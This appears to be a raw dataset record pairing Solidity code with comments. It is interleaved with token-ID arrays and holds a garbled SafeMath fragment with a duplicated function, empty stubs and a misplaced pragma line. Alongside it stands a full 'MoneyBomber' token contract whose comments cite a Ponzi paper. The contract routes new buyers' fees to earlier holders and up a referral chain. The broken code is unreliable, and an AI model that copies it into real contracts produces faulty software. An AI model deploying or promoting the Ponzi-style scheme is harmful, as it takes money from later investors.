1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
2366,
861,
12,
4368,
1345,
3245,
18,
14431,
8526,
2502,
389,
1893,
4139,
16,
2254,
5034,
389,
25414,
548,
16,
2254,
5034,
389,
2972,
620,
13,
3903,
1476,
1135,
12,
11890,
5034,
13,
288,
203,
3639,
309,
261,
67,
25414,
548,
422,
374,
13,
288,
203,
5411,
327,
374,
31,
203,
3639,
289,
203,
3639,
309,
261,
67,
1893,
4139,
18,
2469,
422,
374,
13,
288,
203,
5411,
327,
389,
2972,
620,
31,
203,
3639,
289,
203,
3639,
309,
261,
67,
1893,
4139,
63,
20,
8009,
25414,
548,
1545,
389,
25414,
548,
13,
288,
203,
5411,
327,
389,
1893,
4139,
63,
20,
8009,
1132,
31,
203,
3639,
289,
203,
3639,
309,
261,
67,
1893,
4139,
63,
67,
1893,
4139,
18,
2469,
300,
404,
8009,
25414,
548,
411,
389,
25414,
548,
13,
288,
203,
5411,
327,
389,
2972,
620,
31,
203,
3639,
289,
203,
3639,
309,
261,
67,
1893,
4139,
63,
67,
1893,
4139,
18,
2469,
300,
404,
8009,
25414,
548,
422,
389,
25414,
548,
13,
288,
203,
5411,
327,
389,
1893,
4139,
63,
67,
1893,
4139,
18,
2469,
300,
404,
8009,
1132,
31,
203,
3639,
289,
203,
3639,
2254,
5034,
1131,
273,
374,
31,
203,
3639,
2254,
5034,
943,
273,
389,
1893,
4139,
18,
2469,
300,
404,
31,
203,
3639,
1323,
261,
1896,
405,
1131,
13,
288,
203,
5411,
2254,
5034,
7501,
273,
261,
1896,
397,
1131,
13,
342,
576,
31,
203,
5411,
309,
261,
67,
1893,
4139,
63,
13138,
8009,
25414,
548,
422,
389,
25414,
548,
13,
288,
203,
7734,
943,
2
] |
./partial_match/42/0x0026750c741F2Cde78302E97EcCAAb127235051f/sources/GEtherBridge.sol
|
File: @openzeppelin/contracts/math/SafeMath.sol* @dev Wrappers over Solidity's arithmetic operations with added overflow checks. Arithmetic operations in Solidity wrap on overflow. This can easily result in bugs, because programmers usually assume that an overflow raises an error, which is the standard behavior in high level programming languages. `SafeMath` restores this intuition by reverting the transaction when an operation overflows. Using this library instead of the unchecked operations eliminates an entire class of bugs, so it's recommended to use it always./
|
library SafeMath {
function _safeWrap(uint256 _amount) internal
}
function _safeUnwrap(uint256 _amount) internal
}
}
pragma solidity ^0.6.0;
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
| 3,391,038 |
[
1,
812,
30,
632,
3190,
94,
881,
84,
292,
267,
19,
16351,
87,
19,
15949,
19,
9890,
10477,
18,
18281,
225,
4266,
10422,
1879,
348,
7953,
560,
1807,
30828,
5295,
598,
3096,
9391,
4271,
18,
27443,
5295,
316,
348,
7953,
560,
2193,
603,
9391,
18,
1220,
848,
17997,
563,
316,
22398,
16,
2724,
5402,
81,
414,
11234,
6750,
716,
392,
9391,
14183,
392,
555,
16,
1492,
353,
326,
4529,
6885,
316,
3551,
1801,
5402,
11987,
8191,
18,
1375,
9890,
10477,
68,
3127,
3485,
333,
509,
89,
608,
635,
15226,
310,
326,
2492,
1347,
392,
1674,
9391,
87,
18,
11637,
333,
5313,
3560,
434,
326,
22893,
5295,
19229,
4174,
392,
7278,
667,
434,
22398,
16,
1427,
518,
1807,
14553,
358,
999,
518,
3712,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
12083,
14060,
10477,
288,
203,
202,
915,
389,
4626,
2964,
12,
11890,
5034,
389,
8949,
13,
2713,
203,
202,
97,
203,
203,
202,
915,
389,
4626,
984,
4113,
12,
11890,
5034,
389,
8949,
13,
2713,
203,
202,
97,
203,
97,
203,
203,
203,
683,
9454,
18035,
560,
3602,
20,
18,
26,
18,
20,
31,
203,
203,
565,
445,
527,
12,
11890,
5034,
279,
16,
2254,
5034,
324,
13,
2713,
16618,
1135,
261,
11890,
5034,
13,
288,
203,
3639,
2254,
5034,
276,
273,
279,
397,
324,
31,
203,
3639,
2583,
12,
71,
1545,
279,
16,
315,
9890,
10477,
30,
2719,
9391,
8863,
203,
203,
3639,
327,
276,
31,
203,
565,
289,
203,
203,
565,
445,
720,
12,
11890,
5034,
279,
16,
2254,
5034,
324,
13,
2713,
16618,
1135,
261,
11890,
5034,
13,
288,
203,
3639,
327,
720,
12,
69,
16,
324,
16,
315,
9890,
10477,
30,
720,
25693,
9391,
8863,
203,
565,
289,
203,
203,
565,
445,
720,
12,
11890,
5034,
279,
16,
2254,
5034,
324,
16,
533,
3778,
9324,
13,
2713,
16618,
1135,
261,
11890,
5034,
13,
288,
203,
3639,
2583,
12,
70,
1648,
279,
16,
9324,
1769,
203,
3639,
2254,
5034,
276,
273,
279,
300,
324,
31,
203,
203,
3639,
327,
276,
31,
203,
565,
289,
203,
203,
565,
445,
14064,
12,
11890,
5034,
279,
16,
2254,
5034,
324,
13,
2713,
16618,
1135,
261,
11890,
5034,
13,
288,
203,
3639,
309,
261,
69,
422,
374,
13,
288,
203,
5411,
327,
374,
31,
203,
3639,
289,
203,
203,
3639,
2254,
5034,
276,
273,
279,
2
] |
pragma solidity ^0.4.23;
contract MoneyBomber{
// scaleFactor is used to convert Ether into tokens and vice-versa: they're of different
// orders of magnitude, hence the need to bridge between the two.
uint256 constant scaleFactor = 0x10000000000000000;// 2^64
int constant crr_n = 1;//CRR numerator
int constant crr_d = 2;//CRR denominator
uint256 constant fee_premine = 0;//No Premine
int constant price_coeff = 0x44fa9cf152cd34a98;
// Array between each address and their number of tokens.
mapping(address => uint256) public holdings;
//cut down by a percentage when you sell out.
mapping(address => uint256) public avgFactor_ethSpent;
mapping(address => uint256) public color_R;
mapping(address => uint256) public color_G;
mapping(address => uint256) public color_B;
// Array between each address and how much Ether has been paid out to it.
// Note that this is scaled by the scaleFactor variable.
mapping(address => address) public reff;
mapping(address => uint256) public tricklingPass;
mapping(address => uint256) public pocket;
mapping(address => int256) public payouts;
// Variable tracking how many tokens are in existence overall.
uint256 public totalBondSupply;
// Aggregate sum of all payouts.
// Note that this is scaled by the scaleFactor variable.
int256 totalPayouts;
uint256 public trickleSum;
uint256 public stakingRequirement = 1e18;
address public lastGateway;
uint256 constant trickTax = 3; //divides flux'd fee and for every pass up
//flux fee ratio and contract score keepers
uint256 public withdrawSum;
uint256 public investSum;
// Variable tracking how much Ether each token is currently worth.
// Note that this is scaled by the scaleFactor variable.
uint256 earningsPerBond;
event onTokenPurchase(
address indexed customerAddress,
uint256 incomingEthereum,
uint256 tokensMinted,
address indexed gateway
);
event onBoughtFor(
address indexed buyerAddress,
address indexed forWho,
uint256 incomingEthereum,
uint256 tokensMinted,
address indexed gateway
);
event onReinvestFor(
address indexed buyerAddress,
address indexed forWho,
uint256 incomingEthereum,
uint256 tokensMinted,
address indexed gateway
);
event onTokenSell(
address indexed customerAddress,
uint256 totalTokensAtTheTime,//maybe it'd be cool to see what % people are selling from their total bank
uint256 tokensBurned,
uint256 ethereumEarned,
uint256 resolved,
address indexed gateway
);
event onReinvestment(
address indexed customerAddress,
uint256 ethereumReinvested,
uint256 tokensMinted,
address indexed gateway
);
event onWithdraw(
address indexed customerAddress,
uint256 ethereumWithdrawn
);
event onCashDividends(
address indexed ownerAddress,
address indexed receiverAddress,
uint256 ethereumWithdrawn
);
event onColor(
address indexed customerAddress,
uint256 oldR,
uint256 oldG,
uint256 oldB,
uint256 newR,
uint256 newG,
uint256 newB
);
event onTrickle(
address indexed fromWho,
address indexed finalReff,
uint256 reward,
uint256 passUp
);
// The following functions are used by the front-end for display purposes.
// Returns the number of tokens currently held by _owner.
function holdingsOf(address _owner) public constant returns (uint256 balance) {
return holdings[_owner];
}
// Withdraws all dividends held by the caller sending the transaction, updates
// the requisite global variables, and transfers Ether back to the caller.
function withdraw(address to) public {
if(to == 0x0000000000000000000000000000000000000000 ){
to = msg.sender;
}
trickleUp(msg.sender);
// Retrieve the dividends associated with the address the request came from.
uint256 balance = dividends(msg.sender);
//uint256 pocketBalance = tricklePocket[msg.sender];
//tricklePocket[msg.sender] = 0;
// Update the payouts array, incrementing the request address by `balance`.
payouts[msg.sender] += (int256) (balance * scaleFactor);
// Increase the total amount that's been paid out to maintain invariance.
totalPayouts += (int256) (balance * scaleFactor);
uint256 pocketETH = pocket[msg.sender];
pocket[msg.sender] = 0;
trickleSum -= pocketETH;
balance += pocketETH;
// Send the dividends to the address that requested the withdraw.
withdrawSum += balance;
to.transfer(balance);
emit onCashDividends(msg.sender,to,balance);
}
function fullCycleSellBonds(uint256 balance) internal {
// Send the cashed out stake to the address that requested the withdraw.
withdrawSum += balance;
msg.sender.transfer(balance);
emit onWithdraw(msg.sender, balance);
}
// Sells your tokens for Ether. This Ether is assigned to the callers entry
// in the tokenBalance array, and therefore is shown as a dividend. A second
// call to withdraw() must be made to invoke the transfer of Ether back to your address.
function sellBonds(uint256 _amount) public {
uint256 bondBalance = holdings[msg.sender];
if(_amount <= bondBalance && _amount > 0){
sell(_amount);
}else{
sell(bondBalance);
}
}
// The slam-the-button escape hatch. Sells the callers tokens for Ether, then immediately
// invokes the withdraw() function, sending the resulting Ether to the callers address.
function getMeOutOfHere() public {
sellBonds( holdings[msg.sender] );
withdraw(msg.sender);
}
function reffUp(address _reff) internal{
address sender = msg.sender;
if (_reff == 0x0000000000000000000000000000000000000000 || _reff == msg.sender){
_reff = reff[sender];
}
if( holdings[_reff] < stakingRequirement ){//if req not met
if(lastGateway == 0x0000000000000000000000000000000000000000){
lastGateway = sender;//first buyer ever
_reff = sender;//first buyer is their own gateway/masternode
//initialize fee pre-mine
investSum = msg.value * fee_premine;
withdrawSum = msg.value * fee_premine;
}
else
_reff = lastGateway;//the lucky last player gets to be the gate way.
}
reff[sender] = _reff;
}
function rgbLimit(uint256 _rgb)internal pure returns(uint256){
if(_rgb > 255)
return 255;
else
return _rgb;
}
//BONUS
//when you don't pick a color, the contract will need a default. which will be your current color
function edgePigment(uint8 C)internal view returns (uint256 x)
{
uint256 holding = holdings[msg.sender];
if(holding==0)
return 0;
else{
if(C==0){
return 255 * color_R[msg.sender]/holding;
}else if(C==1){
return 255 * color_G[msg.sender]/holding;
}else if(C==2){
return 255 * color_B[msg.sender]/holding;
}
}
}
function fund(address reffo, address forWho) payable public {
fund_color( reffo, forWho, edgePigment(0),edgePigment(1),edgePigment(2) );
}
function fund_color( address _reff, address forWho,uint256 cR,uint256 cG,uint256 cB) payable public {
// Don't allow for funding if the amount of Ether sent is less than 1 szabo.
reffUp(_reff);
if (msg.value > 0.000001 ether){
investSum += msg.value;
cR=rgbLimit(cR);
cG=rgbLimit(cG);
cB=rgbLimit(cB);
buy( forWho ,cR,cG,cB);
if (holdings[msg.sender]>0)
lastGateway = msg.sender;
} else {
revert();
}
}
function reinvest_color(address forWho,uint256 cR,uint256 cG,uint256 cB) public {
cR=rgbLimit(cR);
cG=rgbLimit(cG);
cB=rgbLimit(cB);
processReinvest( forWho, cR,cG,cB);
}
function reinvest(address forWho) public {
processReinvest( forWho, edgePigment(0),edgePigment(1),edgePigment(2) );
}
// Function that returns the (dynamic) price of a single token.
function price(bool buyOrSell) public constant returns (uint) {
if(buyOrSell){
return getTokensForEther(1 finney);
}else{
uint256 eth = getEtherForTokens(1 finney);
uint256 fee = fluxFeed(eth, false, false);
return eth - fee;
}
}
function fluxFeed(uint256 _eth, bool slim_reinvest,bool newETH) public constant returns (uint256 amount) {
uint256 finalInvestSum;
if(newETH)
finalInvestSum = investSum-_eth;//bigger buy bonus
else
finalInvestSum = investSum;
uint256 contract_ETH = finalInvestSum - withdrawSum;
if(slim_reinvest){//trickleSum can never be 0, trust me
return _eth/(contract_ETH/trickleSum) * contract_ETH /investSum;
}else{
return _eth * contract_ETH / investSum;
}
/*
Fee
100eth IN & 100eth OUT = 0% tax fee (returning 1)
100eth IN & 50eth OUT = 50% tax fee (returning 2)
100eth IN & 33eth OUT = 66% tax fee (returning 3)
100eth IN & 25eth OUT = 75% tax fee (returning 4)
100eth IN & 10eth OUT = 90% tax fee (returning 10)
*/
}
// Calculate the current dividends associated with the caller address. This is the net result
// of multiplying the number of tokens held by their current value in Ether and subtracting the
// Ether that has already been paid out.
function dividends(address _owner) public constant returns (uint256 amount) {
return (uint256) ((int256)( earningsPerBond * holdings[_owner] ) - payouts[_owner] ) / scaleFactor;
}
// Internal balance function, used to calculate the dynamic reserve value.
function contractBalance() internal constant returns (uint256 amount){
// msg.value is the amount of Ether sent by the transaction.
return investSum - withdrawSum - msg.value - trickleSum;
}
function trickleUp(address fromWho) internal{//you can trickle up other people by giving them some.
uint256 tricks = tricklingPass[ fromWho ];//this is the amount moving in the trickle flo
if(tricks > 0){
tricklingPass[ fromWho ] = 0;//we've already captured the amount so set your tricklingPass flo to 0
uint256 passUp = tricks * (investSum - withdrawSum)/investSum;//to get the amount we're gonna pass up. divide by trickTax
uint256 reward = tricks-passUp;//and our remaining reward for ourselves is the amount we just slice off subtracted from the flo
address finalReff;//we're not exactly sure who we're gonna pass this up to yet
address reffo = reff[ fromWho ];//this is who it should go up to. if everything is legit
if( holdings[reffo] >= stakingRequirement){
finalReff = reffo;//if that address is holding enough to stake, it's a legit node to flo up to.
}else{
finalReff = lastGateway;//if not, then we use the last buyer
}
tricklingPass[ finalReff ] += passUp;//so now we add that flo you've passed up to the tricklingPass of the final Reff
pocket[ finalReff ] += reward;// Reward
emit onTrickle(fromWho, finalReff, reward, passUp);
}
}
function buy(address forWho,uint256 cR,uint256 cG,uint256 cB) internal {
// Any transaction of less than 1 szabo is likely to be worth less than the gas used to send it.
if (msg.value < 0.000001 ether || msg.value > 1000000 ether)
revert();
//Fee to pay existing holders, and the referral commission
uint256 fee = 0;
uint256 trickle = 0;
if(holdings[forWho] != totalBondSupply){
fee = fluxFeed(msg.value,false,true);
trickle = fee/trickTax;
fee = fee - trickle;
tricklingPass[forWho] += trickle;
}
uint256 numEther = msg.value - (fee+trickle);// The amount of Ether used to purchase new tokens for the caller.
uint256 numTokens = 0;
if(numEther > 0){
numTokens = getTokensForEther(numEther);// The number of tokens which can be purchased for numEther.
buyCalcAndPayout( forWho, fee, numTokens, numEther, reserve() );
addPigment(forWho, numTokens,cR,cG,cB);
}
if(forWho != msg.sender){//make sure you're not yourself
//if forWho doesn't have a reff or if that masternode is weak, then reset it
if(reff[forWho] == 0x0000000000000000000000000000000000000000 || (holdings[reff[forWho]] < stakingRequirement) )
reff[forWho] = msg.sender;
emit onBoughtFor(msg.sender, forWho, numEther, numTokens, reff[forWho] );
}else{
emit onTokenPurchase(forWho, numEther ,numTokens , reff[forWho] );
}
trickleSum += trickle;//add to trickle's Sum after reserve calculations
trickleUp(forWho);
}
function buyCalcAndPayout(address forWho,uint256 fee,uint256 numTokens,uint256 numEther,uint256 res)internal{
// The buyer fee, scaled by the scaleFactor variable.
uint256 buyerFee = fee * scaleFactor;
if (totalBondSupply > 0){// because ...
// Compute the bonus co-efficient for all existing holders and the buyer.
// The buyer receives part of the distribution for each token bought in the
// same way they would have if they bought each token individually.
uint256 bonusCoEff = (scaleFactor - (res + numEther) * numTokens * scaleFactor / ( totalBondSupply + numTokens) / numEther)
*(uint)(crr_d) / (uint)(crr_d-crr_n);
// The total reward to be distributed amongst the masses is the fee (in Ether)
// multiplied by the bonus co-efficient.
uint256 holderReward = fee * bonusCoEff;
buyerFee -= holderReward;
// The Ether value per token is increased proportionally.
earningsPerBond += holderReward / totalBondSupply;
}
//resolve reward tracking stuff
avgFactor_ethSpent[forWho] += numEther;
// Add the numTokens which were just created to the total supply. We're a crypto central bank!
totalBondSupply += numTokens;
// Assign the tokens to the balance of the buyer.
holdings[forWho] += numTokens;
// Update the payout array so that the buyer cannot claim dividends on previous purchases.
// Also include the fee paid for entering the scheme.
// First we compute how much was just paid out to the buyer...
int256 payoutDiff = (int256) ((earningsPerBond * numTokens) - buyerFee);
// Then we update the payouts array for the buyer with this amount...
payouts[forWho] += payoutDiff;
// And then we finally add it to the variable tracking the total amount spent to maintain invariance.
totalPayouts += payoutDiff;
}
// Sell function that takes tokens and converts them into Ether. Also comes with a 10% fee
// to discouraging dumping, and means that if someone near the top sells, the fee distributed
// will be *significant*.
function TOKEN_scaleDown(uint256 value,uint256 reduce) internal view returns(uint256 x){
uint256 holdingsOfSender = holdings[msg.sender];
return value * ( holdingsOfSender - reduce) / holdingsOfSender;
}
function sell(uint256 amount) internal {
uint256 numEthersBeforeFee = getEtherForTokens(amount);
// x% of the resulting Ether is used to pay remaining holders.
uint256 fee = 0;
uint256 trickle = 0;
if(totalBondSupply != holdings[msg.sender]){
fee = fluxFeed(numEthersBeforeFee, false,false);
trickle = fee/ trickTax;
fee -= trickle;
tricklingPass[msg.sender] +=trickle;
}
// Net Ether for the seller after the fee has been subtracted.
uint256 numEthers = numEthersBeforeFee - (fee+trickle);
//How much you bought it for divided by how much you're getting back.
//This means that if you get dumped on, you can get more resolve tokens if you sell out.
uint256 resolved = mint(
calcResolve(msg.sender,amount,numEthersBeforeFee),
msg.sender
);
// *Remove* the numTokens which were just sold from the total supply.
avgFactor_ethSpent[msg.sender] = TOKEN_scaleDown(avgFactor_ethSpent[msg.sender] , amount);
color_R[msg.sender] = TOKEN_scaleDown(color_R[msg.sender] , amount);
color_G[msg.sender] = TOKEN_scaleDown(color_G[msg.sender] , amount);
color_B[msg.sender] = TOKEN_scaleDown(color_B[msg.sender] , amount);
totalBondSupply -= amount;
// Remove the tokens from the balance of the buyer.
holdings[msg.sender] -= amount;
int256 payoutDiff = (int256) (earningsPerBond * amount);//we don't add in numETH because it is immedietly paid out.
// We reduce the amount paid out to the seller (this effectively resets their payouts value to zero,
// since they're selling all of their tokens). This makes sure the seller isn't disadvantaged if
// they decide to buy back in.
payouts[msg.sender] -= payoutDiff;
// Decrease the total amount that's been paid out to maintain invariance.
totalPayouts -= payoutDiff;
// Check that we have tokens in existence (this is a bit of an irrelevant check since we're
// selling tokens, but it guards against division by zero).
if (totalBondSupply > 0) {
// Scale the Ether taken as the selling fee by the scaleFactor variable.
uint256 etherFee = fee * scaleFactor;
// Fee is distributed to all remaining token holders.
// rewardPerShare is the amount gained per token thanks to this sell.
uint256 rewardPerShare = etherFee / totalBondSupply;
// The Ether value per token is increased proportionally.
earningsPerBond += rewardPerShare;
}
fullCycleSellBonds(numEthers);
trickleSum += trickle;
trickleUp(msg.sender);
emit onTokenSell(msg.sender,holdings[msg.sender]+amount,amount,numEthers,resolved,reff[msg.sender]);
}
// Converts the Ether accrued as dividends back into Staking tokens without having to
// withdraw it first. Saves on gas and potential price spike loss.
function processReinvest(address forWho,uint256 cR,uint256 cG,uint256 cB) internal{
// Retrieve the dividends associated with the address the request came from.
uint256 balance = dividends(msg.sender);
// Update the payouts array, incrementing the request address by `balance`.
// Since this is essentially a shortcut to withdrawing and reinvesting, this step still holds.
payouts[msg.sender] += (int256) (balance * scaleFactor);
// Increase the total amount that's been paid out to maintain invariance.
totalPayouts += (int256) (balance * scaleFactor);
// Assign balance to a new variable.
uint256 pocketETH = pocket[msg.sender];
uint value_ = (uint) (balance + pocketETH);
pocket[msg.sender] = 0;
// If your dividends are worth less than 1 szabo, or more than a million Ether
// (in which case, why are you even here), abort.
if (value_ < 0.000001 ether || value_ > 1000000 ether)
revert();
uint256 fee = 0;
uint256 trickle = 0;
if(holdings[forWho] != totalBondSupply){
fee = fluxFeed(value_, true,false );// reinvestment fees are lower than regular ones.
trickle = fee/ trickTax;
fee = fee - trickle;
tricklingPass[forWho] += trickle;
}
// A temporary reserve variable used for calculating the reward the holder gets for buying tokens.
// (Yes, the buyer receives a part of the distribution as well!)
uint256 res = reserve() - balance;
// The amount of Ether used to purchase new tokens for the caller.
uint256 numEther = value_ - (fee+trickle);
// The number of tokens which can be purchased for numEther.
uint256 numTokens = calculateDividendTokens(numEther, balance);
buyCalcAndPayout( forWho, fee, numTokens, numEther, res );
addPigment(forWho, numTokens,cR,cG,cB);
if(forWho != msg.sender){//make sure you're not yourself
//if forWho doesn't have a reff, then reset it
address reffOfWho = reff[forWho];
if(reffOfWho == 0x0000000000000000000000000000000000000000 || (holdings[reffOfWho] < stakingRequirement) )
reff[forWho] = msg.sender;
emit onReinvestFor(msg.sender,forWho,numEther,numTokens,reff[forWho]);
}else{
emit onReinvestment(forWho,numEther,numTokens,reff[forWho]);
}
trickleUp(forWho);
trickleSum += trickle - pocketETH;
}
function addPigment(address forWho, uint256 tokens,uint256 r,uint256 g,uint256 b) internal{
color_R[forWho] += tokens * r / 255;
color_G[forWho] += tokens * g / 255;
color_B[forWho] += tokens * b / 255;
emit onColor(forWho,r,g,b,color_R[forWho] ,color_G[forWho] ,color_B[forWho] );
}
// Dynamic value of Ether in reserve, according to the CRR requirement.
function reserve() internal constant returns (uint256 amount){
return contractBalance()-((uint256) ((int256) (earningsPerBond * totalBondSupply) - totalPayouts ) / scaleFactor);
}
// Calculates the number of tokens that can be bought for a given amount of Ether, according to the
// dynamic reserve and totalSupply values (derived from the buy and sell prices).
function getTokensForEther(uint256 ethervalue) public constant returns (uint256 tokens) {
return fixedExp(fixedLog(reserve() + ethervalue)*crr_n/crr_d + price_coeff) - totalBondSupply ;
}
// Semantically similar to getTokensForEther, but subtracts the callers balance from the amount of Ether returned for conversion.
function calculateDividendTokens(uint256 ethervalue, uint256 subvalue) public constant returns (uint256 tokens) {
return fixedExp(fixedLog(reserve() - subvalue + ethervalue)*crr_n/crr_d + price_coeff) - totalBondSupply;
}
// Converts a number tokens into an Ether value.
function getEtherForTokens(uint256 tokens) public constant returns (uint256 ethervalue) {
// How much reserve Ether do we have left in the contract?
uint256 reserveAmount = reserve();
// If you're the Highlander (or bagholder), you get The Prize. Everything left in the vault.
if (tokens == totalBondSupply )
return reserveAmount;
// If there would be excess Ether left after the transaction this is called within, return the Ether
// corresponding to the equation in Dr Jochen Hoenicke's original Ponzi paper, which can be found
// at https://test.jochen-hoenicke.de/eth/ponzitoken/ in the third equation, with the CRR numerator
// and denominator altered to 1 and 2 respectively.
return reserveAmount - fixedExp((fixedLog(totalBondSupply - tokens) - price_coeff) * crr_d/crr_n);
}
function () payable public {
if (msg.value > 0) {
fund(lastGateway,msg.sender);
} else {
withdraw(msg.sender);
}
}
address public resolver = this;
uint256 public totalSupply;
uint256 constant private MAX_UINT256 = 2**256 - 1;
mapping (address => uint256) public balances;
mapping (address => mapping (address => uint256)) public allowed;
string public name = "MoneyBomber";
uint8 public decimals = 18;
string public symbol = "$$$";
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Resolved(address indexed _owner, uint256 amount);
function mint(uint256 amount,address _account) internal returns (uint minted){
totalSupply += amount;
balances[_account] += amount;
emit Resolved(_account,amount);
return amount;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
function calcResolve(address _owner,uint256 amount,uint256 _eth) public constant returns (uint256 calculatedResolveTokens) {
return amount*amount*avgFactor_ethSpent[_owner]/holdings[_owner]/_eth/1000000;
}
function transfer(address _to, uint256 _value) public returns (bool success) {
require( balanceOf(msg.sender) >= _value);
balances[msg.sender] -= _value;
balances[_to] += _value;
emit Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success){
uint256 allowance = allowed[_from][msg.sender];
require( balanceOf(_from) >= _value && allowance >= _value );
balances[_to] += _value;
balances[_from] -= _value;
if (allowance < MAX_UINT256) {
allowed[_from][msg.sender] -= _value;
}
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function resolveSupply() public view returns (uint256 balance) {
return totalSupply;
}
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowed[_owner][_spender];
}
// You don't care about these, but if you really do they're hex values for
// co-efficients used to simulate approximations of the log and exp functions.
int256 constant one = 0x10000000000000000;
uint256 constant sqrt2 = 0x16a09e667f3bcc908;
uint256 constant sqrtdot5 = 0x0b504f333f9de6484;
int256 constant ln2 = 0x0b17217f7d1cf79ac;
int256 constant ln2_64dot5 = 0x2cb53f09f05cc627c8;
int256 constant c1 = 0x1ffffffffff9dac9b;
int256 constant c3 = 0x0aaaaaaac16877908;
int256 constant c5 = 0x0666664e5e9fa0c99;
int256 constant c7 = 0x049254026a7630acf;
int256 constant c9 = 0x038bd75ed37753d68;
int256 constant c11 = 0x03284a0c14610924f;
// The polynomial R = c1*x + c3*x^3 + ... + c11 * x^11
// approximates the function log(1+x)-log(1-x)
// Hence R(s) = log((1+s)/(1-s)) = log(a)
function fixedLog(uint256 a) internal pure returns (int256 log) {
int32 scale = 0;
while (a > sqrt2) {
a /= 2;
scale++;
}
while (a <= sqrtdot5) {
a *= 2;
scale--;
}
int256 s = (((int256)(a) - one) * one) / ((int256)(a) + one);
int256 z = (s*s) / one;
return scale * ln2 +
(s*(c1 + (z*(c3 + (z*(c5 + (z*(c7 + (z*(c9 + (z*c11/one))
/one))/one))/one))/one))/one);
}
int256 constant c2 = 0x02aaaaaaaaa015db0;
int256 constant c4 = -0x000b60b60808399d1;
int256 constant c6 = 0x0000455956bccdd06;
int256 constant c8 = -0x000001b893ad04b3a;
// The polynomial R = 2 + c2*x^2 + c4*x^4 + ...
// approximates the function x*(exp(x)+1)/(exp(x)-1)
// Hence exp(x) = (R(x)+x)/(R(x)-x)
function fixedExp(int256 a) internal pure returns (uint256 exp) {
int256 scale = (a + (ln2_64dot5)) / ln2 - 64;
a -= scale*ln2;
int256 z = (a*a) / one;
int256 R = ((int256)(2) * one) +
(z*(c2 + (z*(c4 + (z*(c6 + (z*c8/one))/one))/one))/one);
exp = (uint256) (((R + a) * one) / (R - a));
if (scale >= 0)
exp <<= scale;
else
exp >>= -scale;
return exp;
}
}
|
A temporary reserve variable used for calculating the reward the holder gets for buying tokens. (Yes, the buyer receives a part of the distribution as well!)
|
uint256 res = reserve() - balance;
| 253,742 |
[
1,
37,
6269,
20501,
2190,
1399,
364,
21046,
326,
19890,
326,
10438,
5571,
364,
30143,
310,
2430,
18,
261,
22352,
16,
326,
27037,
17024,
279,
1087,
434,
326,
7006,
487,
5492,
24949,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
